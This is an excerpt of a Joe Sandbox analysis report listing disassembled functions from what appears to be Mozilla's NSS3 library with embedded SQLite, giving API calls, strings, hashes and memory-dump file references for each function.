free.MOZGLUE(00000000), ref: 6C63AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63AE58
free.MOZGLUE(00000000), ref: 6C63AE69
free.MOZGLUE(?), ref: 6C63AE78
PR_Unlock.NSS3 ref: 6C63AE8C
free.MOZGLUE(?), ref: 6C63AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C63AEC7

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: d4159cd6c072b4721645132e5860f6edb97ffe4ef8bb33360db7a678a6c78f2c
Instruction ID: c2a097277f251b7e808e43ea65105ee5b95255fb97debdda1b3b96584e152c90
Opcode Fuzzy Hash: d4159cd6c072b4721645132e5860f6edb97ffe4ef8bb33360db7a678a6c78f2c
Instruction Fuzzy Hash: 9251AEB0E01125DBEF01DFE8DC456AEB7B4FB06349F142135D808A3A52D731A946EBDA

Function 6C714C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C714CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C714CFD
sqlite3_value_text16.NSS3(?), ref: 6C714D44

Strings

bad parameter or other API misuse, xrefs: 6C714D05
invalid, xrefs: 6C714CF1
API call with %s database connection pointer, xrefs: 6C714CF6
out of memory, xrefs: 6C714C78, 6C714C9E
abort due to ROLLBACK, xrefs: 6C714D27, 6C714D33
no more rows available, xrefs: 6C714D2E
another row available, xrefs: 6C714D20
unknown error, xrefs: 6C714D56

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 9605cc35733491a4658ddc12778619277b4bba07995a9a4d88c2ebc372910879
Instruction ID: ec0228566c1e2dcee87e9b2ff3cedb05c6bd039304a38475dc909635c60a5754
Opcode Fuzzy Hash: 9605cc35733491a4658ddc12778619277b4bba07995a9a4d88c2ebc372910879
Instruction Fuzzy Hash: 953166B3A0C915A7DB084E28AB127E573617B8331CF1D0539D5644BF14DB61AC22A7E6

Function 6C672CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C672CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C672D07

Part of subcall function 6C7509D0: PR_Now.NSS3 ref: 6C750A22
Part of subcall function 6C7509D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C750A35
Part of subcall function 6C7509D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C750A66
Part of subcall function 6C7509D0: PR_GetCurrentThread.NSS3 ref: 6C750A70
Part of subcall function 6C7509D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C750A9D
Part of subcall function 6C7509D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C750AC8
Part of subcall function 6C7509D0: PR_vsmprintf.NSS3(?,?), ref: 6C750AE8
Part of subcall function 6C7509D0: EnterCriticalSection.KERNEL32(?), ref: 6C750B19
Part of subcall function 6C7509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C750B48
Part of subcall function 6C7509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C750C76
Part of subcall function 6C7509D0: PR_LogFlush.NSS3 ref: 6C750C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C672D22

Part of subcall function 6C7509D0: OutputDebugStringA.KERNEL32(?), ref: 6C750B88
Part of subcall function 6C7509D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C750C5D
Part of subcall function 6C7509D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C750C8D
Part of subcall function 6C7509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C750C9C
Part of subcall function 6C7509D0: OutputDebugStringA.KERNEL32(?), ref: 6C750CD1
Part of subcall function 6C7509D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C750CEC
Part of subcall function 6C7509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C750CFB
Part of subcall function 6C7509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C750D16
Part of subcall function 6C7509D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C750D26
Part of subcall function 6C7509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C750D35
Part of subcall function 6C7509D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C750D65
Part of subcall function 6C7509D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C750D70
Part of subcall function 6C7509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C750D90
Part of subcall function 6C7509D0: free.MOZGLUE(00000000), ref: 6C750D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C672D3B

Part of subcall function 6C7509D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C750BAB
Part of subcall function 6C7509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C750BBA
Part of subcall function 6C7509D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C750D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C672D54

Part of subcall function 6C7509D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C750BCB
Part of subcall function 6C7509D0: EnterCriticalSection.KERNEL32(?), ref: 6C750BDE
Part of subcall function 6C7509D0: OutputDebugStringA.KERNEL32(?), ref: 6C750C16

Strings

ulPinLen = %d, xrefs: 6C672D36
C_InitToken, xrefs: 6C672CE7
nul, xrefs: 6C672D6C, 6C672D9A
pLabel = 0x%p, xrefs: 6C672D4F
slotID = 0x%x, xrefs: 6C672D02
pPin = 0x%p, xrefs: 6C672D1D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nul
API String ID: 420000887-891220678
Opcode ID: 9b35107c4dc9c3cd6cef1169dbfecb8ccb534a31be2fb9ced99f8767529791ca
Instruction ID: fd019e387d05e2918a532b814487c4793349d5e93d808a54c775aad2e72dd382
Opcode Fuzzy Hash: 9b35107c4dc9c3cd6cef1169dbfecb8ccb534a31be2fb9ced99f8767529791ca
Instruction Fuzzy Hash: 6921B676200144EFDB109BA5EE4CA8E3BF1EB4335EF844424E90897A22DF309958CB76

Function 6C712D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C712D9F

Part of subcall function 6C5CCA30: EnterCriticalSection.KERNEL32(?,?,?,6C62F9C9,?,6C62F4DA,6C62F9C9,?,?,6C5F369A), ref: 6C5CCA7A
Part of subcall function 6C5CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5CCB26

sqlite3_exec.NSS3(?,?,6C712F70,?,?), ref: 6C712DF9
sqlite3_free.NSS3(00000000), ref: 6C712E2C
sqlite3_free.NSS3(?), ref: 6C712E3A
sqlite3_free.NSS3(?), ref: 6C712E52
sqlite3_mprintf.NSS3(6C77AAF9,?), ref: 6C712E62
sqlite3_free.NSS3(?), ref: 6C712E70
sqlite3_free.NSS3(?), ref: 6C712E89
sqlite3_free.NSS3(?), ref: 6C712EBB
sqlite3_free.NSS3(?), ref: 6C712ECB
sqlite3_free.NSS3(00000000), ref: 6C712F3E
sqlite3_free.NSS3(?), ref: 6C712F4C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: a8f530ba61d4a9f689883bd208268ec5215491ec44456e122d5460577a42f19c
Instruction ID: 407d1b34e169d39e137ca4c85727158c86b64381bba58cbbf530b112a6f28136
Opcode Fuzzy Hash: a8f530ba61d4a9f689883bd208268ec5215491ec44456e122d5460577a42f19c
Instruction Fuzzy Hash: C06194B5E04205CBEB00CFA8D989B9E77B5EF9A348F184038DC55A7B01E731E955CBA1

Function 6C657C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7A2120,Function_00097E60,00000000,?,?,?,?,6C6D067D,6C6D1C60,00000000), ref: 6C657C81

Part of subcall function 6C5C4C70: TlsGetValue.KERNEL32(?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4C97
Part of subcall function 6C5C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CB0
Part of subcall function 6C5C4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CC9

TlsGetValue.KERNEL32 ref: 6C657CA0
EnterCriticalSection.KERNEL32(?), ref: 6C657CB4
PR_Unlock.NSS3 ref: 6C657CCF

Part of subcall function 6C6EDD70: TlsGetValue.KERNEL32 ref: 6C6EDD8C
Part of subcall function 6C6EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4

TlsGetValue.KERNEL32 ref: 6C657D04
EnterCriticalSection.KERNEL32(?), ref: 6C657D1B
realloc.MOZGLUE(-00000050), ref: 6C657D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C657DF4
PR_Unlock.NSS3 ref: 6C657E0E

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 7f24509d4c13720461de97c90e6b98c8bb9c8acc4b61e4845a807e5d97ed2821
Instruction ID: cfe80681823dbbe1d750a35ffa3caf66392aeac2d4ad6f4c0ff26fcfa27050e9
Opcode Fuzzy Hash: 7f24509d4c13720461de97c90e6b98c8bb9c8acc4b61e4845a807e5d97ed2821
Instruction Fuzzy Hash: 8B512271A18200AFDF005F69EC44A6977F5EB42359FA5823AED0887721EB309861CB88

Function 6C5C4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4D97
PR_Lock.NSS3(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4DBA
PR_WaitCondVar.NSS3 ref: 6C5C4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4DEF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 121f7a6caabbbba50fbf68ca7840e8cd08b8c7215d5bfb05fab647b6aff0f51f
Instruction ID: a0ccf83a7f7c37ddb673d79aa2f601597207ee879c14a895d531156042c098cb
Opcode Fuzzy Hash: 121f7a6caabbbba50fbf68ca7840e8cd08b8c7215d5bfb05fab647b6aff0f51f
Instruction Fuzzy Hash: 80416DB1A05A15CFDB00EFB9D8889697BF4BF06314B054A6DD848DB711EB30D894CB86

Function 6C668F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C668FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C668FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C668FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C669013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C669042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C66905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C669073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6690EC

Part of subcall function 6C630F00: PR_GetPageSize.NSS3(6C630936,FFFFE8AE,?,6C5C16B7,00000000,?,6C630936,00000000,?,6C5C204A), ref: 6C630F1B
Part of subcall function 6C630F00: PR_NewLogModule.NSS3(clock,6C630936,FFFFE8AE,?,6C5C16B7,00000000,?,6C630936,00000000,?,6C5C204A), ref: 6C630F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C65DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C669111

Strings

nul, xrefs: 6C6690A3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nul
API String ID: 2831689957-3076721864
Opcode ID: 2f860ac35608227cfb40fd8144b50a244791fb850a1c976722b4c7c612ad0d4f
Instruction ID: 9ea99f9db02156de8593b989378472e476d41e1c024c422c2a6e5c2d64dbebc5
Opcode Fuzzy Hash: 2f860ac35608227cfb40fd8144b50a244791fb850a1c976722b4c7c612ad0d4f
Instruction Fuzzy Hash: FD519B74A04204CFCF00EF7AC488299BBF4BF4A318F1555A9DC489BB15EB31E885CB96

Function 6C757CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C757CE0

Part of subcall function 6C709BF0: TlsGetValue.KERNEL32(?,?,?,6C750A75), ref: 6C709C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C757D36
PR_Realloc.NSS3(?,00000080), ref: 6C757D6D
PR_GetCurrentThread.NSS3 ref: 6C757D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C757DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C757DD8
malloc.MOZGLUE(00000080), ref: 6C757DF8
PR_GetCurrentThread.NSS3 ref: 6C757E06

Strings

:%s:%d:0x%lx, xrefs: 6C757DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C757DF0

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 6acd421e92309261129fc801c86c3ba63913a8ec1983964586bf51176af1b012
Instruction ID: 35836bae8df422eb0b0e3146c401cac1efb81267fc922199a8886d23e00a9301
Opcode Fuzzy Hash: 6acd421e92309261129fc801c86c3ba63913a8ec1983964586bf51176af1b012
Instruction Fuzzy Hash: 8141F9B16102059FDB04CF28CE95D6B37BAFF81318B55856CE8198B751DB31E921CBA1

Function 6C757E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C757E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C757E46

Part of subcall function 6C631240: TlsGetValue.KERNEL32(00000040,?,6C63116C,NSPR_LOG_MODULES), ref: 6C631267
Part of subcall function 6C631240: EnterCriticalSection.KERNEL32(?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C63127C
Part of subcall function 6C631240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C631291
Part of subcall function 6C631240: PR_Unlock.NSS3(?,?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C6312A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C757EAF
PR_ImportFile.NSS3(?), ref: 6C757ECF
PR_GetCurrentThread.NSS3 ref: 6C757ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C757F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C757F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C757F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C757E41
%d:0x%lx, xrefs: 6C757EA9

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 57b19bd1ecea45e52aed05d592a61dcc71b24eb25951ada60f02ef78d53d9bfe
Instruction ID: 26bf5962d7265f39df3445359277ee7a8a738dec4f8f200417a196589a4e78db
Opcode Fuzzy Hash: 57b19bd1ecea45e52aed05d592a61dcc71b24eb25951ada60f02ef78d53d9bfe
Instruction Fuzzy Hash: C0315470B202199BEB00DF69CA84AABB7ACFF46348F948539D80593651EF219D25C7D2

Function 6C664E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C664E90
EnterCriticalSection.KERNEL32 ref: 6C664EA9
TlsGetValue.KERNEL32 ref: 6C664EC6
EnterCriticalSection.KERNEL32 ref: 6C664EDF
PL_HashTableLookup.NSS3 ref: 6C664EF8
PR_Unlock.NSS3 ref: 6C664F05
PR_Now.NSS3 ref: 6C664F13
PR_Unlock.NSS3 ref: 6C664F3A

Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307AD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307CD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307D6
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5C204A), ref: 6C6307E4
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,6C5C204A), ref: 6C630864
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C630880
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,6C5C204A), ref: 6C6308CB
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308D7
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308FB

Strings

bUfl, xrefs: 6C664F3F
bUfl, xrefs: 6C664E5C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUfl$bUfl
API String ID: 326028414-2796572053
Opcode ID: a01fdeecdc9345af2e47ec5c157ae990df4dace2c84bfcc9b40d66d093dc2f65
Instruction ID: dec16062c4ba6fff451d5829aaaad7b8dff0da0f0909e516ece29e53a9f08a73
Opcode Fuzzy Hash: a01fdeecdc9345af2e47ec5c157ae990df4dace2c84bfcc9b40d66d093dc2f65
Instruction Fuzzy Hash: F3413DB4A04605DFCB00DF79C1848AABBF0FF89354B118569EC599B710EB30E855CBD5

Function 6C676C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C676C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C676C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C676CA3

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C676CB9
